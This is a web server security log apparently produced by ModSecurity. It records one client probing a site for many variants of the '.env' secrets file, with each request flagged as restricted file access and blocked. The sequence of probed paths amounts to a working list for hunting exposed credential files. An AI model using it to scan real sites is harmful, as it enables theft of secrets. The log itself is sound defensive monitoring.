[Sat Oct 24 05:04:07.541449 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "atx0h6VWPMRLkHgZYZD5EQAAABU"]
[Sat Oct 24 05:04:07.541819 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "atx0h6VWPMRLkHgZYZD5EQAAABU"]
[Sat Oct 24 05:04:07.697290 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "atx0h6VWPMRLkHgZYZD5EgAAABU"]
[Sat Oct 24 05:04:07.697652 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "atx0h6VWPMRLkHgZYZD5EgAAABU"]
[Sat Oct 24 05:04:07.698143 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "atx0h6VWPMRLkHgZYZD5EgAAABU"]
[Sat Oct 24 05:04:07.956050 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "atx0h6VWPMRLkHgZYZD5EwAAABU"]
[Sat Oct 24 05:04:07.956292 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "atx0h6VWPMRLkHgZYZD5EwAAABU"]
[Sat Oct 24 05:04:07.956618 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "atx0h6VWPMRLkHgZYZD5EwAAABU"]
[Sat Oct 24 05:04:08.028548 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "atx0iKVWPMRLkHgZYZD5FAAAABU"]
[Sat Oct 24 05:04:08.028830 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "atx0iKVWPMRLkHgZYZD5FAAAABU"]
[Sat Oct 24 05:04:08.029181 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "atx0iKVWPMRLkHgZYZD5FAAAABU"]
[Sat Oct 24 05:04:08.148358 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "atx0iKVWPMRLkHgZYZD5FQAAABU"]
[Sat Oct 24 05:04:08.148582 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "atx0iKVWPMRLkHgZYZD5FQAAABU"]
[Sat Oct 24 05:04:08.148915 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "atx0iKVWPMRLkHgZYZD5FQAAABU"]
[Sat Oct 24 05:04:08.261045 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "atx0iKVWPMRLkHgZYZD5FgAAABU"]
[Sat Oct 24 05:04:08.261313 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "atx0iKVWPMRLkHgZYZD5FgAAABU"]
[Sat Oct 24 05:04:08.261666 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "atx0iKVWPMRLkHgZYZD5FgAAABU"]
[Sat Oct 24 05:04:08.397619 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "atx0iKVWPMRLkHgZYZD5FwAAABU"]
[Sat Oct 24 05:04:08.397862 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "atx0iKVWPMRLkHgZYZD5FwAAABU"]
[Sat Oct 24 05:04:08.398166 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "atx0iKVWPMRLkHgZYZD5FwAAABU"]
[Sat Oct 24 05:04:08.515722 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "atx0iKVWPMRLkHgZYZD5GAAAABU"]
[Sat Oct 24 05:04:08.516003 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "atx0iKVWPMRLkHgZYZD5GAAAABU"]
[Sat Oct 24 05:04:08.516338 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "atx0iKVWPMRLkHgZYZD5GAAAABU"]
[Sat Oct 24 05:04:08.633282 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "atx0iKVWPMRLkHgZYZD5GQAAABU"]
[Sat Oct 24 05:04:08.633598 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "atx0iKVWPMRLkHgZYZD5GQAAABU"]
[Sat Oct 24 05:04:08.634031 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "atx0iKVWPMRLkHgZYZD5GQAAABU"]
[Sat Oct 24 05:04:08.740051 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "atx0iKVWPMRLkHgZYZD5GgAAABU"]
[Sat Oct 24 05:04:08.740376 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "atx0iKVWPMRLkHgZYZD5GgAAABU"]
[Sat Oct 24 05:04:08.740742 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "atx0iKVWPMRLkHgZYZD5GgAAABU"]
[Sat Oct 24 05:04:08.848420 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env2"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "atx0iKVWPMRLkHgZYZD5GwAAABU"]
[Sat Oct 24 05:04:08.848694 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "atx0iKVWPMRLkHgZYZD5GwAAABU"]
[Sat Oct 24 05:04:08.849074 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env2"] [unique_id "atx0iKVWPMRLkHgZYZD5GwAAABU"]
[Sat Oct 24 05:04:08.994718 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "atx0iKVWPMRLkHgZYZD5HAAAABU"]
[Sat Oct 24 05:04:08.995052 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "atx0iKVWPMRLkHgZYZD5HAAAABU"]
[Sat Oct 24 05:04:08.995370 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env_copy"] [unique_id "atx0iKVWPMRLkHgZYZD5HAAAABU"]
[Sat Oct 24 05:04:09.082051 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "atx0iaVWPMRLkHgZYZD5HQAAABU"]
[Sat Oct 24 05:04:09.082315 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "atx0iaVWPMRLkHgZYZD5HQAAABU"]
[Sat Oct 24 05:04:09.082683 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "atx0iaVWPMRLkHgZYZD5HQAAABU"]
[Sat Oct 24 05:04:09.245170 2026] [security2:error] [pid 2608810:tid 2608810] [client 34.169.248.77:34840] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.json"] [unique_id "atx0iaVWPMRLkHgZYZD5HgAAABU"]
